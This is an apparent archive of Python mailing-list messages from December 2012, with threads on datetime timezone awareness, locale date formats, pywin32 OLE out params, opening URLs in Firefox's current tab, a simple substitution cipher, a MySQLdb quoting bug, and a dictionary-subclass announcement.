On Mon, 10 Dec 2012 11:57:37 -0800, noydb wrote: > >> I want to compare a user entered date-and-time against the date-and-time >> of a pdf file. I posted on this (how to get a file's date-time) before, >> was advised to do it like: >> >> import datetime, os, stat >> mtime = os.lstat(filename)[stat.ST_MTIME] // the files modification >> time > What language are you writing? Using // for comments is not Python. > > >> dt = datetime.datetime.fromtimestamp(mtime) >> >> I am having problems with the comparison, that line is failing. > You haven't shown us the comparison line. Would you like us to guess what > it does? > > My guess is that you are doing this: > > if mtime is dtime: ... > > Am I close? > > If not, please forgive me, my crystal ball is often faulty. > > >> I think >> I may have figured out the issue -- I think it is a matter of the file's >> time being 'aware' and the user-input date-time being 'naive'. > "Aware" of what? > > http://docs.python.org/2/library/datetime """ An object of type *time* or *datetime* may be naive or *aware" aware refers to time-zone and daylight savings time, such political ephemerals. Two times can only be changed if one knows they're both in the same one, or if one knows precisely what each is. * naive assumes the former, while aware trusts the latter. To the OP: please specify your python version, your OS, and show your source. Also show the complete error traceback. And while you're at it, it might be useful to know the type of drive the file is on, since Windows uses local times on FAT32 partitions, and gmt on NTFS partitions. I suspect you're on Windows, so I can't help you with this nonsense. But I can at least help you ask a clear question. -- DaveA From jenn.duerr at gmail.com Mon Dec 10 16:18:06 2012 From: jenn.duerr at gmail.com (noydb) Date: Mon, 10 Dec 2012 13:18:06 -0800 (PST) Subject: strptime - dates formatted differently on different computers Message-ID: Follow-on question to this earlier topic - https://groups.google.com/d/topic/comp.lang.python/wnUlPBBNah8/discussion Was curious to know if there was a way to handle different user computers with different operating system set date formats. 2/10/2006 vs 2-10-2006, for example. Not an issue for my current task, but was just curious how this could be handled? If in my code I am declaring the user entered date foramtted as x = datetime.datetime.strptime(user_entered_time , "%m/%d/%Y %I:%M:%S %p") # format for my computer but on another person's computer, their's is set as 2-10-2006 14:26:06, the code fails. Can this be accounted for? From jenn.duerr at gmail.com Mon Dec 10 16:20:51 2012 From: jenn.duerr at gmail.com (noydb) Date: Mon, 10 Dec 2012 13:20:51 -0800 (PST) Subject: date-time comparison, aware vs naive In-Reply-To: References: <21eb3e6f-9a82-47aa-93ff-8f4083d18b66@googlegroups.com> <50c64ba7$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: > > > > > > > > http://docs.python.org/2/library/datetime > > """ An object of type *time* or *datetime* may be naive or *aware" > > > > aware refers to time-zone and daylight savings time, such political > > ephemerals. Two times can only be changed if one knows they're both in > > the same one, or if one knows precisely what each is. > > * > > naive assumes the former, while aware trusts the latter. > > > > > > To the OP: please specify your python version, your OS, and show your > > source. Also show the complete error traceback. And while you're at it, > > it might be useful to know the type of drive the file is on, since > > Windows uses local times on FAT32 partitions, and gmt on NTFS partitions. > > > > I suspect you're on Windows, so I can't help you with this nonsense. But I can at least help you ask a clear question. > > > > -- > > > > DaveA Fair enough, thanks From jenn.duerr at gmail.com Mon Dec 10 16:20:51 2012 From: jenn.duerr at gmail.com (noydb) Date: Mon, 10 Dec 2012 13:20:51 -0800 (PST) Subject: date-time comparison, aware vs naive In-Reply-To: References: <21eb3e6f-9a82-47aa-93ff-8f4083d18b66@googlegroups.com> <50c64ba7$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: > > > > > > > > http://docs.python.org/2/library/datetime > > """ An object of type *time* or *datetime* may be naive or *aware" > > > > aware refers to time-zone and daylight savings time, such political > > ephemerals. Two times can only be changed if one knows they're both in > > the same one, or if one knows precisely what each is. > > * > > naive assumes the former, while aware trusts the latter. > > > > > > To the OP: please specify your python version, your OS, and show your > > source. Also show the complete error traceback. And while you're at it, > > it might be useful to know the type of drive the file is on, since > > Windows uses local times on FAT32 partitions, and gmt on NTFS partitions. > > > > I suspect you're on Windows, so I can't help you with this nonsense. But I can at least help you ask a clear question. > > > > -- > > > > DaveA Fair enough, thanks From jenn.duerr at gmail.com Mon Dec 10 16:22:27 2012 From: jenn.duerr at gmail.com (noydb) Date: Mon, 10 Dec 2012 13:22:27 -0800 (PST) Subject: strptime - dates formatted differently on different computers In-Reply-To: References: Message-ID: <33502c0c-4167-4c53-a281-e653845d310c@googlegroups.com> NTFS partition Windows 7 Python 2.7 From d at davea.name Mon Dec 10 16:36:37 2012 From: d at davea.name (Dave Angel) Date: Mon, 10 Dec 2012 16:36:37 -0500 Subject: strptime - dates formatted differently on different computers In-Reply-To: References: Message-ID: <50C655E5.70907@davea.name> On 12/10/2012 04:18 PM, noydb wrote: > Follow-on question to this earlier topic - https://groups.google.com/d/topic/comp.lang.python/wnUlPBBNah8/discussion For those who avoid googlegroups with a passion, and/or don't have internet access, the subject of that thread is "date-time comparison, aware vs naive", on this same mailing list. > Was curious to know if there was a way to handle different user computers with different operating system set date formats. 2/10/2006 vs 2-10-2006, for example. Not an issue for my current task, but was just curious how this could be handled? > > If in my code I am declaring the user entered date foramtted as > x = datetime.datetime.strptime(user_entered_time , "%m/%d/%Y %I:%M:%S %p") # format for my computer > > but on another person's computer, their's is set as 2-10-2006 14:26:06, the code fails. You can save people a lot of time if you just think before posting. What do you define as failure? is your motherboard smoking, or is the final result off by a second? Please reread my last message on the previous thread. If you want us to give you code advice, show us what you're doing, don't just describe it in vague terms. > Can this be accounted for? When accepting input from a user, consider their environment. Perhaps they're in a different timezone than your program (or your native location), or use some other ordering for the date (for example, the Japanese sensibly put year first, then month, then day. Other regions have different conventions. If you can't detect the user environment, then you'd better tell them yours. For example,by prompting for day, month, and year separately. -- DaveA From coder1024 at gmail.com Mon Dec 10 16:39:00 2012 From: coder1024 at gmail.com (bitbucket) Date: Mon, 10 Dec 2012 13:39:00 -0800 (PST) Subject: accessing an OLE Automation (IDispatch) server from python which requires the use of "out params" In-Reply-To: References: <38a14001-82b6-4a91-b3ad-2cb5c8ee580d@googlegroups.com> Message-ID: On Monday, December 10, 2012 3:58:33 PM UTC-5, Terry Reedy wrote: > I believe the easiest way to do that is to install the pywin extensions > > http://sourceforge.net/projects/pywin32/?source=directory > > I assume it can handle out params. That definitely looks like a good starting point. Just hoping someone knows whether or not it'll support the out params before I spend too much time digging into it. From coder1024 at gmail.com Mon Dec 10 16:39:00 2012 From: coder1024 at gmail.com (bitbucket) Date: Mon, 10 Dec 2012 13:39:00 -0800 (PST) Subject: accessing an OLE Automation (IDispatch) server from python which requires the use of "out params" In-Reply-To: References: <38a14001-82b6-4a91-b3ad-2cb5c8ee580d@googlegroups.com> Message-ID: On Monday, December 10, 2012 3:58:33 PM UTC-5, Terry Reedy wrote: > I believe the easiest way to do that is to install the pywin extensions > > http://sourceforge.net/projects/pywin32/?source=directory > > I assume it can handle out params. That definitely looks like a good starting point. Just hoping someone knows whether or not it'll support the out params before I spend too much time digging into it. From jabba.laci at gmail.com Mon Dec 10 17:27:44 2012 From: jabba.laci at gmail.com (Jabba Laci) Date: Mon, 10 Dec 2012 23:27:44 +0100 Subject: open URL in the current tab Message-ID: Hi, With the webbrowser module you can open a URL in a new tab. But how could I tell Firefox from Python to open a URL in the _current_ tab? Thanks, Laszlo From qbailey at ihets.org Mon Dec 10 17:38:29 2012 From: qbailey at ihets.org (qbailey at ihets.org) Date: Mon, 10 Dec 2012 14:38:29 -0800 (PST) Subject: String manipulation in python..NEED HELP!!!! Message-ID: I need help with a program i am doing. it is a cryptography program. i am given a regular alphabet and a key. i need to use the user input and use the regular alphabet and use the corresponding letter in the key and that becomes the new letter. i have the basic code but need help with how to mainpulate the string to do the encryption/decryption. please help here is my code so far: """ crypto.py Implements a simple substitution cypher """ alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" key = "XPMGTDHLYONZBWEARKJUFSCIQV" def main(): keepGoing = True while keepGoing: response = menu() if response == "1": plain = raw_input("text to be encoded: ") print encode(plain) elif response == "2": coded = raw_input("code to be decyphered: ") print decode(coded) elif response == "0": print "Thanks for doing secret spy stuff with me." keepGoing = False else: print "I don't know what you want to do..." i really need help on how to encrypt it im not sure how to go about doing that please help. From joel.goldstick at gmail.com Mon Dec 10 17:39:14 2012 From: joel.goldstick at gmail.com (Joel Goldstick) Date: Mon, 10 Dec 2012 17:39:14 -0500 Subject: open URL in the current tab In-Reply-To: References: Message-ID: On Mon, Dec 10, 2012 at 5:27 PM, Jabba Laci wrote: > Hi, > > With the webbrowser module you can open a URL in a new tab. But how > could I tell Firefox from Python to open a URL in the _current_ tab? > > The docs say this: webbrowser.open_new(*url*) Open *url* in a new window of the default browser, if possible, otherwise, open *url* in the only browser window. webbrowser.open_new_tab(*url*) Open *url* in a new page (?tab?) of the default browser, if possible, otherwise equivalent to open_new() . > Thanks, > > Laszlo > -- > http://mail.python.org/mailman/listinfo/python-list > -- Joel Goldstick -------------- next part -------------- An HTML attachment was scrubbed... URL: From lothiraldan at gmail.com Mon Dec 10 17:43:50 2012 From: lothiraldan at gmail.com (Boris FELD) Date: Mon, 10 Dec 2012 23:43:50 +0100 Subject: open URL in the current tab In-Reply-To: References: Message-ID: Don't think that it's possible with webbrowser, you should try with Selenium. For example with sst (Simple Selenium Test), it open url in current tab or create a new one if no one exists: from sst.actions import * go_to('http://www.ubuntu.com/') 2012/12/10 Jabba Laci : > Hi, > > With the webbrowser module you can open a URL in a new tab. But how > could I tell Firefox from Python to open a URL in the _current_ tab? > > Thanks, > > Laszlo > -- > http://mail.python.org/mailman/listinfo/python-list From jabba.laci at gmail.com Mon Dec 10 17:51:24 2012 From: jabba.laci at gmail.com (Jabba Laci) Date: Mon, 10 Dec 2012 23:51:24 +0100 Subject: open URL in the current tab In-Reply-To: References: Message-ID: Thanks. I've found something interesting since then: https://addons.mozilla.org/en-US/firefox/addon/mozrepl/ https://github.com/bard/mozrepl/wiki It allows you to connect to your Firefox via telnet. Then changing the URL: content.location.href = However, for this you need to install this add-on. Laszlo On Mon, Dec 10, 2012 at 11:43 PM, Boris FELD wrote: > Don't think that it's possible with webbrowser, you should try with Selenium. > > For example with sst (Simple Selenium Test), it open url in current > tab or create a new one if no one exists: > > from sst.actions import * > go_to('http://www.ubuntu.com/') > > 2012/12/10 Jabba Laci : >> Hi, >> >> With the webbrowser module you can open a URL in a new tab. But how >> could I tell Firefox from Python to open a URL in the _current_ tab? >> >> Thanks, >> >> Laszlo >> -- >> http://mail.python.org/mailman/listinfo/python-list From gordon at panix.com Mon Dec 10 17:59:05 2012 From: gordon at panix.com (John Gordon) Date: Mon, 10 Dec 2012 22:59:05 +0000 (UTC) Subject: String manipulation in python..NEED HELP!!!! References: Message-ID: In qbailey at ihets.org writes: > """ crypto.py > Implements a simple substitution cypher > """ > alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" > key = "XPMGTDHLYONZBWEARKJUFSCIQV" > def main(): > keepGoing = True > while keepGoing: > response = menu() > if response == "1": > plain = raw_input("text to be encoded: ") > print encode(plain) > elif response == "2": > coded = raw_input("code to be decyphered: ") > print decode(coded) > elif response == "0": > print "Thanks for doing secret spy stuff with me." > keepGoing = False > else: > print "I don't know what you want to do..." > i really need help on how to encrypt it im not sure how to go about doing > that please help. def encode(plain): '''Return a substituted version of the plain text.''' encoded = '' for ch in plain: encoded += key[alpha.index(ch)] return encoded -- John Gordon A is for Amy, who fell down the stairs gordon at panix.com B is for Basil, assaulted by bears -- Edward Gorey, "The Gashlycrumb Tinies" From rosuav at gmail.com Mon Dec 10 18:14:59 2012 From: rosuav at gmail.com (Chris Angelico) Date: Tue, 11 Dec 2012 10:14:59 +1100 Subject: open URL in the current tab In-Reply-To: References: Message-ID: On Tue, Dec 11, 2012 at 9:27 AM, Jabba Laci wrote: > Hi, > > With the webbrowser module you can open a URL in a new tab. But how > could I tell Firefox from Python to open a URL in the _current_ tab? If this is for use on somebody else's system, *please don't*. My current tab is my business, not your program's. But if this is your own system (eg you want to use Firefox as your GUI), there are a few options. The easiest, I think, is to have the previous page handle the transition - trigger it in some way, and then it simply does: location.href = "some_new_url" How you go about triggering this is the next problem :) But that depends hugely on what you're trying to accomplish. ChrisA From vlastimil.brom at gmail.com Mon Dec 10 18:25:58 2012 From: vlastimil.brom at gmail.com (Vlastimil Brom) Date: Tue, 11 Dec 2012 00:25:58 +0100 Subject: String manipulation in python..NEED HELP!!!! In-Reply-To: References: Message-ID: 2012/12/10 : > I need help with a program i am doing. it is a cryptography program. i am given a regular alphabet and a key. i need to use the user input and use the regular alphabet and use the corresponding letter in the key and that becomes the new letter. i have the basic code but need help with how to mainpulate the string to do the encryption/decryption. please help > > here is my code so far: > > > """ crypto.py > Implements a simple substitution cypher > """ > > alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" > key = "XPMGTDHLYONZBWEARKJUFSCIQV" > > def main(): > keepGoing = True > while keepGoing: > response = menu() > if response == "1": > plain = raw_input("text to be encoded: ") > print encode(plain) > elif response == "2": > coded = raw_input("code to be decyphered: ") > print decode(coded) > elif response == "0": > print "Thanks for doing secret spy stuff with me." > keepGoing = False > else: > print "I don't know what you want to do..." > > > > > i really need help on how to encrypt it im not sure how to go about doing that please help. > -- > http://mail.python.org/mailman/listinfo/python-list Hi, if I understand correctly, for the data shown in the code, you may probably use the translate method of the string (and the corresponding maketrans method); cf.: python 2.7 >>> import string >>> "ABCDEF...VWXYZ".translate(string.maketrans("ABCDEFGHIJKLMNOPQRSTUVWXYZ", "XPMGTDHLYONZBWEARKJUFSCIQV")) 'XPMGTD...SCIQV' >>> python 3.2 >>> "ABCDEF...VWXYZ".translate("".maketrans("ABCDEFGHIJKLMNOPQRSTUVWXYZ", "XPMGTDHLYONZBWEARKJUFSCIQV")) 'XPMGTD...SCIQV' >>> hth, vbr From rosuav at gmail.com Mon Dec 10 18:36:12 2012 From: rosuav at gmail.com (Chris Angelico) Date: Tue, 11 Dec 2012 10:36:12 +1100 Subject: String manipulation in python..NEED HELP!!!! In-Reply-To: References: Message-ID: On Tue, Dec 11, 2012 at 9:38 AM, wrote: > I need help with a program i am doing. it is a cryptography program. i am given a regular alphabet and a key. i need to use the user input and use the regular alphabet and use the corresponding letter in the key and that becomes the new letter. i have the basic code but need help with how to mainpulate the string to do the encryption/decryption. please help A few starting tips. Firstly, I'm going to assume here that this is a homework question; you haven't said so, but it seems rather more likely than the alternative (that you're actually going to use such an incredibly low-grade cipher and an interactive prompt like this). Please be honest about this; it's okay to ask for help, but we're not here to do your homework for you. (We do NOT want to help you to get a certificate you don't merit, then get a job using that certificate, and then write code that we'll be staring at in our next jobs. There are already more than enough incompetent programmers in the world; I'd rather that you either learn the material for real, or if you can't, fail the course honestly. Sorry if that sounds harsh, but I'm sure you'd rather that I didn't have a certificate entitling me to drive a truck on roads near you/your kids, because I do not know how to drive one safely.) Secondly, putting "NEED HELP" in your subject line doesn't, in fact, help. :) It just makes you sound demanding. So! On to the actual problem. What you need to do is find the letter that corresponds to the one you have. Decryption is the same as encryption but with the "alpha" and "key" switched, so I recommend creating a function that accepts those two as arguments - something like this: clear = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" key = "XPMGTDHLYONZBWEARKJUFSCIQV" def crypt(msg,from,to): # and put your code in here # To encrypt: encrypted = crypt(original, clear, key) # To decrypt: message = crypt(encrypted, key, clear) The details of the encryption you can put together from John's and/or vbr's responses, but make sure you understand the code yourself. For example: What will each of them do with any non-alphabetic characters? Suppose your original message is "HELLO, WORLD!" - what will happen to the comma, space, and exclamation mark? Be sure you know *why* this is how it is, too. If you run into trouble, post your non-working code and exactly how it's not working, and we'll try to help you understand why it's not working. :) In the meantime, here's a document that you may want to familiarize yourself with: http://www.catb.org/esr/faqs/smart-questions.html It's a great explanation of the how and, more importantly, the why of asking questions of volunteer geeks. All the best! ChrisA From tolidtm at gmail.com Mon Dec 10 19:04:44 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Tue, 11 Dec 2012 01:04:44 +0100 Subject: MySQLdb insert HTML code error Message-ID: Hi all, I'm facing an issue inserting an html code into the DB, it comes out with a syntax error but I face it only when I have html code. Could help me escape the error somehow ? Here is my code def InsertSpecsDB(product_id, spec, lang, name): db = MySQLdb.connect("localhost","getit","opencart") cursor = db.cursor() sql = ("INSERT INTO product_description (product_id, language_id, name, description) VALUES ('%s','%s','%s','%s')") params = (product_id, lang, name, spec) cursor.execute(sql, params) id = cursor.lastrowid print"Updated ID %s description %s" %(int(id), lang) return id Thanks From jabba.laci at gmail.com Mon Dec 10 19:05:54 2012 From: jabba.laci at gmail.com (Jabba Laci) Date: Tue, 11 Dec 2012 01:05:54 +0100 Subject: open URL in the current tab In-Reply-To: References: Message-ID: Hi, > If this is for use on somebody else's system, *please don't*. My This is for me. I have a simple GUI that produces some URL that I want to open in the current tab. Since I want to verify several URLs, I don't want to open dozens of new tabs. Here is my working solution. It requires the MozRepl Firefox add-on that I mentioned in the previous message. Laszlo =========================== import telnetlib HOST = 'localhost' PORT = 4242 # MozRepl default def open_curr_tab(url): tn = telnetlib.Telnet(HOST, PORT) cmd = "content.location.href = '{url}'".format(url=url) tn.read_until("repl> ") tn.write(cmd + "\n") tn.write("repl.quit()\n") ######################### if __name__ == "__main__": open_curr_tab('http://www.python.org') From rosuav at gmail.com Mon Dec 10 19:16:24 2012 From: rosuav at gmail.com (Chris Angelico) Date: Tue, 11 Dec 2012 11:16:24 +1100 Subject: open URL in the current tab In-Reply-To: References: Message-ID: On Tue, Dec 11, 2012 at 11:05 AM, Jabba Laci wrote: > Hi, > >> If this is for use on somebody else's system, *please don't*. My > > This is for me. I have a simple GUI that produces some URL that I want > to open in the current tab. Since I want to verify several URLs, I > don't want to open dozens of new tabs. > > Here is my working solution. It requires the MozRepl Firefox add-on > that I mentioned in the previous message. Looks good! Since it's your own single system, the add-on requirement isn't too onerous (but even if it's an all-mine system, I'd hesitate to deploy an add-on to more than a handful of computers). Specific problem, specific solution. I like it. ChrisA From breamoreboy at yahoo.co.uk Mon Dec 10 19:22:09 2012 From: breamoreboy at yahoo.co.uk (Mark Lawrence) Date: Tue, 11 Dec 2012 00:22:09 +0000 Subject: MySQLdb insert HTML code error In-Reply-To: References: Message-ID: On 11/12/2012 00:04, Anatoli Hristov wrote: > Hi all, > > I'm facing an issue inserting an html code into the DB, it comes out > with a syntax error but I face it only when I have html code. Could > help me escape the error somehow ? > > Here is my code > > def InsertSpecsDB(product_id, spec, lang, name): > db = MySQLdb.connect("localhost","getit","opencart") > cursor = db.cursor() > sql = ("INSERT INTO product_description (product_id, language_id, > name, description) VALUES ('%s','%s','%s','%s')") > params = (product_id, lang, name, spec) > cursor.execute(sql, params) > id = cursor.lastrowid > print"Updated ID %s description %s" %(int(id), lang) > return id > > Thanks > As much use as a chocolate teapot, all you've given is a function/method definition. No indication of your OS, Python version, calling code, what you expect to happen, what actually happened, apart from that your request for assistance is perfect. Usually I'd be able to help but sadly my crystal ball is in for repairs at the moment. Would you please be kind enough to elucidate. -- Cheers. Mark Lawrence. From tolidtm at gmail.com Mon Dec 10 19:29:12 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Tue, 11 Dec 2012 01:29:12 +0100 Subject: MySQLdb insert HTML code error In-Reply-To: References: Message-ID: > As much use as a chocolate teapot, all you've given is a function/method > definition. No indication of your OS, Python version, calling code, what > you expect to happen, what actually happened, apart from that your request > for assistance is perfect. Usually I'd be able to help but sadly my crystal > ball is in for repairs at the moment. Would you please be kind enough to > elucidate. Thanks for your answer, the OS is CentOS release 5.7. MySQL - 5.0.96 As I said the function is working right, except when I insert an HTML code. Thanks From tolidtm at gmail.com Mon Dec 10 19:31:24 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Tue, 11 Dec 2012 01:31:24 +0100 Subject: MySQLdb insert HTML code error In-Reply-To: References: Message-ID: On Tue, Dec 11, 2012 at 1:29 AM, Anatoli Hristov wrote: >> As much use as a chocolate teapot, all you've given is a function/method >> definition. No indication of your OS, Python version, calling code, what >> you expect to happen, what actually happened, apart from that your request >> for assistance is perfect. Usually I'd be able to help but sadly my crystal >> ball is in for repairs at the moment. Would you please be kind enough to >> elucidate. > > Thanks for your answer, the OS is CentOS release 5.7. MySQL - 5.0.96 > As I said the function is working right, except when I insert an HTML code. > > Thanks And sorry, Python 2.4 From breamoreboy at yahoo.co.uk Mon Dec 10 19:38:21 2012 From: breamoreboy at yahoo.co.uk (Mark Lawrence) Date: Tue, 11 Dec 2012 00:38:21 +0000 Subject: MySQLdb insert HTML code error In-Reply-To: References: Message-ID: On 11/12/2012 00:29, Anatoli Hristov wrote: >> As much use as a chocolate teapot, all you've given is a function/method >> definition. No indication of your OS, Python version, calling code, what >> you expect to happen, what actually happened, apart from that your request >> for assistance is perfect. Usually I'd be able to help but sadly my crystal >> ball is in for repairs at the moment. Would you please be kind enough to >> elucidate. > > Thanks for your answer, the OS is CentOS release 5.7. MySQL - 5.0.96 > As I said the function is working right, except when I insert an HTML code. > > Thanks > Brilliant, I think your problem is in line 97 of the code that you *HAVEN'T QUOTED*. Please go here, read and inwardly digest before you say anything else http://www.sscce.org/ -- Cheers. Mark Lawrence. From tolidtm at gmail.com Mon Dec 10 19:46:52 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Tue, 11 Dec 2012 01:46:52 +0100 Subject: MySQLdb insert HTML code error In-Reply-To: References: Message-ID: > Brilliant, I think your problem is in line 97 of the code that you *HAVEN'T > QUOTED*. Please go here, read and inwardly digest before you say anything > else http://www.sscce.org/ :) I thought it was clear. the "spec" is the description and when the str"spec" contains the html code I'm getting an error, if you don't want to help then just don't become an.......... This is the str spec: Icecat.biz ProBook 4540s Notebook PC
notebooks

HP ProBook 4540s Notebook PC

Merk: HP
Artikelcode: C4Z28EA
Categorie: notebooks
%%lang_extra_info%%:

EAN/UPC-nummer: 0887111545718, 0887111590787, 0887111545725, 0887111736246


34k


Campagneperiode : 01 Jan 1970 - 01 Jan 1970

Meer informatie

HP ProBook 4540s Notebook PC
This is an auto-generated long summary based on the first three features of the first five feature groups.



Specs
Alternatieven
Opties
Video
Reviews

%%lang_user_comments%%
Neem voor productvragen contact op met support.
Uw emailadres
Reactie:
*Neem a.u.b. de grote cijfers of letters over in het invoerveld
From python at mrabarnett.plus.com Mon Dec 10 19:51:09 2012 From: python at mrabarnett.plus.com (MRAB) Date: Tue, 11 Dec 2012 00:51:09 +0000 Subject: MySQLdb insert HTML code error In-Reply-To: References: Message-ID: <50C6837D.9040307@mrabarnett.plus.com> On 2012-12-11 00:04, Anatoli Hristov wrote: > Hi all, > > I'm facing an issue inserting an html code into the DB, it comes out > with a syntax error but I face it only when I have html code. Could > help me escape the error somehow ? > > Here is my code > > def InsertSpecsDB(product_id, spec, lang, name): > db = MySQLdb.connect("localhost","getit","opencart") > cursor = db.cursor() > sql = ("INSERT INTO product_description (product_id, language_id, > name, description) VALUES ('%s','%s','%s','%s')") > params = (product_id, lang, name, spec) > cursor.execute(sql, params) > id = cursor.lastrowid > print"Updated ID %s description %s" %(int(id), lang) > return id > You're using a parametrised query (which is good :-)), but you've included quotes around the placeholders. There's no need to do that. They'll be quoted automatically when necessary: sql = "INSERT INTO product_description (product_id, language_id, name, description) VALUES (%s,%s,%s,%s)" From tolidtm at gmail.com Mon Dec 10 20:05:38 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Tue, 11 Dec 2012 02:05:38 +0100 Subject: MySQLdb insert HTML code error In-Reply-To: <50C6837D.9040307@mrabarnett.plus.com> References: <50C6837D.9040307@mrabarnett.plus.com> Message-ID: > You're using a parametrised query (which is good :-)), but you've included > quotes around the placeholders. There's no need to do that. They'll be > quoted automatically when necessary: > > sql = "INSERT INTO product_description (product_id, language_id, name, > description) VALUES (%s,%s,%s,%s)" Thanks a lot it woooorks. I was looking in the wrong direction (escape str. raw etc) Thanks again :-) From skippy.hammond at gmail.com Mon Dec 10 20:16:43 2012 From: skippy.hammond at gmail.com (Mark Hammond) Date: Tue, 11 Dec 2012 12:16:43 +1100 Subject: accessing an OLE Automation (IDispatch) server from python which requires the use of "out params" In-Reply-To: References: <38a14001-82b6-4a91-b3ad-2cb5c8ee580d@googlegroups.com> Message-ID: <50C6897B.30106@gmail.com> On 11/12/2012 8:39 AM, bitbucket wrote: > On Monday, December 10, 2012 3:58:33 PM UTC-5, Terry Reedy wrote: >> I believe the easiest way to do that is to install the pywin >> extensions >> >> http://sourceforge.net/projects/pywin32/?source=directory >> >> I assume it can handle out params. > > That definitely looks like a good starting point. Just hoping > someone knows whether or not it'll support the out params before I > spend too much time digging into it. "out" params are best supported if the object supplied a typelib - then Python knows the params are out and does the right thing automagically. If out params are detected, the result of the function will be a tuple of (real_result, out_param1, ...) Even if no typelib is supported, you can access them with a little pain via the win32com.client.Dispatch() object. You might like to follow up to the python-win32 at python.org mailing list where many people will be able to help. HTH, Mark From steve+comp.lang.python at pearwood.info Mon Dec 10 21:07:51 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 11 Dec 2012 02:07:51 GMT Subject: strptime - dates formatted differently on different computers References: Message-ID: <50c69577$0$21722$c3e8da3$76491128@news.astraweb.com> On Mon, 10 Dec 2012 16:36:37 -0500, Dave Angel wrote: > When accepting input from a user, consider their environment. Perhaps > they're in a different timezone than your program (or your native > location), or use some other ordering for the date (for example, the > Japanese sensibly put year first, then month, then day. Other regions > have different conventions. If you can't detect the user environment, > then you'd better tell them yours. For example,by prompting for day, > month, and year separately. +1 In a nutshell, you can't know ahead of time what the user will be using as a date format, or what their computer will be set to use as date format. Unless you control the operating system and can force a particular date format, you are at the OS's mercy. Having stated that the problem is hard, what's the solution? I expect that it will depend on the OS. Presumably under Windows there is some way of asking Windows "What is the current date format?". I defer to Windows users for that. On Linux, and probably Mac OS X, I think this is the right way to get the system's preferred date format: py> import locale py> locale.setlocale(locale.LC_ALL, '') # You MUST call this first. 'en_AU.utf8' py> locale.nl_langinfo(locale.D_FMT) '%d/%m/%y' You can pass that string on to strptime: py> import time py> time.strptime("11/12/13", '%d/%m/%y') time.struct_time(tm_year=2013, tm_mon=12, tm_mday=11, tm_hour=0, tm_min=0, tm_sec=0, tm_wday=6, tm_yday=346, tm_isdst=-1) -- Steven From dave at cinege.com Mon Dec 10 22:48:50 2012 From: dave at cinege.com (Dave Cinege) Date: Mon, 10 Dec 2012 22:48:50 -0500 Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes Message-ID: <201212102248.50766.dave@cinege.com> Thesaurus: A different way to call a dictionary. Thesaurus is a new a dictionary subclass which allows calling keys as if they are class attributes and will search through nested objects recursively when __getitem__ is called. You will notice that the code is disgusting simple. However I have found that this has completely changed the way I program in python. I've re-written some exiting programs using Thesaurus, and often realized 15-30% code reduction. Additionally I find the new code much easier to read. If you find yourself programing with nested dictionaries often, fighting to generate output or command lines for external programs, or wish you had a dictionary that could act (sort of) like a class, Thesaurus may be for you. -------------- next part -------------- A non-text attachment was scrubbed... Name: thesaurus.py Type: text/x-python Size: 2912 bytes Desc: not available URL: From jason at powerpull.net Mon Dec 10 23:08:24 2012 From: jason at powerpull.net (Jason Friedman) Date: Mon, 10 Dec 2012 21:08:24 -0700 Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes In-Reply-To: <201212102248.50766.dave@cinege.com> References: <201212102248.50766.dave@cinege.com> Message-ID: > Thesaurus is a new a dictionary subclass which allows calling keys as > if they are class attributes and will search through nested objects > recursively when __getitem__ is called. Good stuff. You might consider: 1) Licensing under an OSI-approved license (http://opensource.org/licenses/index.html). 2) Posting your code at ActiveState.com. From torriem at gmail.com Tue Dec 11 00:34:31 2012 From: torriem at gmail.com (Michael Torrie) Date: Mon, 10 Dec 2012 22:34:31 -0700 Subject: strptime - dates formatted differently on different computers In-Reply-To: References: Message-ID: <50C6C5E7.1030300@gmail.com> On 12/10/2012 02:18 PM, noydb wrote: > Follow-on question to this earlier topic - https://groups.google.com/d/topic/comp.lang.python/wnUlPBBNah8/discussion > > Was curious to know if there was a way to handle different user computers with different operating system set date formats. 2/10/2006 vs 2-10-2006, for example. Not an issue for my current task, but was just curious how this could be handled? > > If in my code I am declaring the user entered date foramtted as > x = datetime.datetime.strptime(user_entered_time , "%m/%d/%Y %I:%M:%S %p") # format for my computer > > but on another person's computer, their's is set as 2-10-2006 14:26:06, the code fails. Can this be accounted for? I use a module I got from pypi called dateutil. It has a nice submodule called parser that can handle a variety of date formats with good accuracy. Not sure how it works, but it handles all the common American date formats I've thrown at it. From ian.g.kelly at gmail.com Tue Dec 11 01:41:38 2012 From: ian.g.kelly at gmail.com (Ian Kelly) Date: Mon, 10 Dec 2012 23:41:38 -0700 Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes In-Reply-To: <201212102248.50766.dave@cinege.com> References: <201212102248.50766.dave@cinege.com> Message-ID: On Mon, Dec 10, 2012 at 8:48 PM, Dave Cinege wrote: > Thesaurus: A different way to call a dictionary. > > Thesaurus is a new a dictionary subclass which allows calling keys as > if they are class attributes and will search through nested objects > recursively when __getitem__ is called. > > You will notice that the code is disgusting simple. However I have found that > this has completely changed the way I program in python. I've re-written some > exiting programs using Thesaurus, and often realized 15-30% code reduction. > Additionally I find the new code much easier to read. > > If you find yourself programing with nested dictionaries often, fighting to > generate output or command lines for external programs, or wish you had > a dictionary that could act (sort of) like a class, Thesaurus may be for you. I have a few critiques on the code. First, you might want to use __getattribute__ instead of __getattr__. Otherwise you'll end up running into bugs like this: >>> thes = Thesaurus() >>> thes.update = 'now' >>> thes.update Hey, where'd my data go? The answer is that it is in the Thesaurus: >>> thes['update'] 42 But it's not visible as an attribute because it is shadowed by the dict methods. Using __getattribute__ instead of __getattr__ would mean that those non-special methods simply wouldn't be visible at all. Second, in __getitem__ you start a loop with "for i in range(len(l)):", and then you use i as an index into l several times. It would be cleaner and more Pythonic to do "for i, part in enumerate(l):", and then you can replace every occurrence of "l[i]" with "part" (or whatever you want to call that variable). Third, also in __getitem__ you have this code: """ 